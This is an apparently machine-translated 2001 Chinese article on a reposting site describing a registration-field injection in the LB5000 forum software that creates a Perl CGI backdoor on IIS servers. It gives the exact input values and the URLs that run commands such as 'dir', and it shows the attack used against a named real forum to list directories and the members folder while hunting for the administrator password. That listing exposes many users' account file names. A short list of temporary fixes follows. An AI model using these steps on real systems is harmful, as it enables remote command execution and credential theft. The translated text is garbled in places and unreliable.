How to take advantage of Perl CGI and LB5K defects to capture remote servers

zhaozj2021-02-17 59

1. ================================ by analysist http://www.china4lert.org LB5K can be regarded as the most The popular forum program, I used to find a vulnerability of enhanced permissions. The relatively high version basically didn't have any security issues, but because the previous days found a number of problems under IIS, I also thought of some things, today After spending a time, I repeatedly looked at LB5K, and I found that we can use these two vulnerabilities to engage in a Perl CGI back door. Test Environment: Platform: WIN32 Server: IIS Support Perl: CGI LB5K Version: LB5000II V0830 Steps: 1. User Registration Page (http://www.notfound.org/lb5000/cgi-bin/register.cgi), enter After the information is submitted: Username: System Name: @argv ### (I need to enter twice) Email address: thiz@thiz.org 2. After we test, we test: http://www.notfound.org/lb5000 /cgi-bin/members/system.cgi?cd CGI ErrorThe specified CGI application misbehaved by not returning a complete set of HTTP headers The headers it did return are:. C: / Inetpub / lb5000 / cgi-bin / members http: / . /www.notfound.org/lb5000/cgi-bin/members/system.cgi?dir CGI ErrorThe specified CGI application misbehaved by not returning a complete set of HTTP headers The headers it did return are: C: / Inetpub / lb5000 / CGI-BIN / MEMBERS catalog 2001-10-18 11:23

. 2001-10-18 11:23 .. 2001-10-18 11:24 162 System.cgi 1 file 162 bytes 2 catalogs 1,615,261,696 can be used by one byte? This back door is generally not discovered, of course we assume that the administrator does not look at the log! : P Temporary Solution: 1. Restriction "/ cgi-bin / memory" can only be accessed locally, and remove the directory execution permission 2. Return "/ cgi-bin / members" or move to the web directory 3. Do not use CGI mode supports Perl, which can be temporarily changed to Isapi mode 4. Filter a special username, such as "System", "Require", "Rename", etc. 5. Limiting password can only combine numbers and alphanumeric PS: BBS3K and all other similar There is this security issue in the CGI program, just a slight attack method.

2. ====================================================== http : //agebbs.com/bbs/leoboard.cgi first detect http://agebbs.com/bbs/members/killweb.cgi? unrecognized character / xba at e: /chinadob/bbs/members/killweb.cgi line 1 . Oh yes. Winnt system :) Go off a s http://agebbs.com/bbs/member/killweb.cgi? Can't open perl script "e: /chinadob/bbs/member/killweb.cgi": No Such File or Directory : The CGI program executed by Perl, this is the vulnerability key to register the SYSTEM password To the mailbox http://agebbs.com/bbs/Members/system.cgi?dir E: / chinadob directory 2001-09-25 13 : 27

. 2001-09-25 13:27 .. 2001-09-25 16:49 bbs 2001-09-18 23:01 1,183 index.htm 1 file 1,183 bytes 3 Catalog 1,226,543,104 Available bytes Using the latter to find the administrator password http://agebbs.com/bbs/members/system.cgi?dir bbs/members/ E: / chinadob / bbs / members directory 2001-10-24 04 : 58 . 2001-10-24 04:58

.. 2001-10-02 23:05 169 ady_chai.cgi 2001-09-25 17:43 169 Agebbs.cgi 2001-09-30 10:18 203 alexzhang.cgi 2001-10-22 19:32 239 Allan.cgi 2001-09-29 23:50 161 Bampw.cgi 2001-10-16 18:10 242 Bixueboy.cgi 2001-09-26 00:45 164 BlackDog.cgi 2001-10-20 14:44 237 COOLRAINFLY.CGI 2001- 10-19 22:28 174 Cwilu.cgi 2001-10-13 23:20 205 Draculation.cgi 2001-10-21 21:02 176 ForestBird.cgi 2001-09-25 20:01 169 Haifeng44.cgi 2001-10- 10 21:11 232 happybabycon.cgi 2001-10-21 11:00 248 Hell82.cgi 2001-09-25 17:02 165 hucjs.cgi 2001-10-24 04:13 195 huc .cgi 2001-10- 19:9:17 222 hurryday.cgi 2001-09-25 13:34 84 Index.html 2001-09-30 19:40 164 JACY.CGI 2001-09-29 21:41 174 Jiki.cgi 2001-10-23 19 : 33 223 Jimmyfu.cgi 2001-10-20 21:57 235 JShacKer.cgi 2001-10-24 04:58 269 Killweb.cgi 2001-10-19 17:28 176 LONEWOLF.CGI 2001-09-26 12:31 174 mini.cgi 2001-09-30 12:36 165 MIXTER.CGI 2001-10-22 11:13 293 mjjsony.cgi 2001-09-29 21:41 180 Neil.cgi 2001-10-17 11:26 200 Niuxiaof .cgi 2001-10-23 21:33 391 PC0516.CGI 2001-10-0 4 14:34 178 Phoenix0684.cgi 2001-10-22 21:38 465 PMA.cgi 2001-10-16 20:30 167 Poplove.cgi 2001-10-14 19:57 219 Prayer.cgi 2001-10-20 18 : 05 397 Priscilla.cgi 2001-09-29 16:56 174 qinyanmylove.cgi 2001-10-23 23:23 318 Ranma.cgi 2001-09-30 23:29 412 Skyshui.cgi 2001-10-24 04:12 167 System.cgi 2001-10-15 11:54 162 Tyun.cgi 2001-10-18 23:55 205 wjk.cgi 2001-10-22 18:24 182 X-SWORD.CGI 2001-09-29 20:27 168 xiaobao.cgi 2001-10-16 19:32 173 xulinling.cgi 2001-10-23 22:07 272 Ycitboycm.cgi 2001-10-17 21:07 218 Zaza.cgi 2001-10-04 13:02 172 Zerocool .cgi 2001-09-29 21:31 167 ziye.cgi 2001-10-24 02:25 208 ziye.cgi 2001-10-04 17:32 202 zonhua.cgi 2001-10-22 14:35 179 ⊥⊥ ● .cgi 2001-10-24 04:07 411 ★ Coke ∮.cgi 2001-10-24 00:06 460 [Long live] .cgi 2001-09-27 14:

34 173 nine-inch naked .cgi 2001-09-25 19:57 167 Liangzi.CGI 2001-10-21 16:20 217 Sword West, CGI 2001-10-23 22:40 273 Linghu Chong.ci 2001-10- 20 14:36 170 with morality. CGI 2001-10-19 19:28 257 will dance with beans. CGI 2001-10-09 18:56 201 Ice Snow Man .cgi 2001-10-20 19:42 455 Hyatt .cgi 2001-10-03 20:114 巴 .cgi 2001-10-09 15:12 172 Nancy.cgi 2001-09-25 19:11 175 Nanfeng.cgi 2001-10-07 05:21 227 Nantong wind speed. CGI 2001-10-12 12:14 275 smile three steps. CGI 2001-10-19 21:56 250 Xia Ya.cgi 2001-10-24 00:08 249 days sword God wind .CGI 2001- 10-01 18:50 232 days useless 1211.cgi 2001-10-01 09:26 188 sky color. CGI 2001-10-13 23:05 241 Tianzhi tears.cgi 2001-10-06 21:11 166 Tianchi Xiang .cgi 2001-10-20 18:31 174 Niu Niu.cgi 2001-10-13 15:45 165 Feng cold moon.cgi 2001-10-21 15:54 236 small dance. CGI 2001-10-16 12:14 289平凡小子 .CGI 2001-09-25 17:43 162 Scrap iron.CGI 2001-10-19 14:01 169 Yiliang.CGI 2001-10-06 12:56 214 Shadow Legend.CGI 2001-10-21 12: 38 232 Mind. CGI 2001-10-22 21:49 276 Heart bamboo scorpion.CGI 2001-09-25 20:56 172 The war is uncomfortable.cgi 2001-09-25 21:16 170 Dai Bing.CGI 2001 -10-14 13:56 178 Star JIANG.CGI 2001-10-03 20:11 215 .cgi 2001-10-23 14:50 192 风 .cgi 2001-09-25 21:34 221 Shui .CGI 2001-10-06 16:40 187 Doodle Bing. CGI 2001-10-17 00:05 164 Mu Na .cgi 2001-10-02 17:07 171 Members and less white .cgi 2001-09-29 21:01 165 Chuzhou Langzi.CGI 2001-10 -15 18:40 176 horror. CGI 2001-10-07 13:53 239 Snake Lang Jun.cgi 2001-10-01 15:14 172 月水 .CGI 2001-10-07 19:13 163 Tears .cgi 2001-09-30 11:19 178 Hong Haonan .cgi 2001-10-20 14:32 341 Wandering. CGI 2001-10-15 19:37 254 Floating Dream White .cgi 2001-10-09 16:19 175 Xiaoxiang Myth .cgi 2001-09-25 20:15 173 Fire → Kiss ← Ice .cgi 2001-10-16 10:14 163 gray horse.cgi 2001-10-03 12:24 227 love hacker .cgi 2001-09-26 13:39 178 Wolf. CGI 2001-09-26 21:44 223 Wang Qin.CGI 2001-09-25 19:23 165 黯黯 .cgi 2001-10-21 04:19 175 珂少 .CGI 2001-10 -03 16:57 299 Handsome! ! !

转载请注明原文地址:https://www.9cbs.com/read-30734.html

9cbs

New Post(0)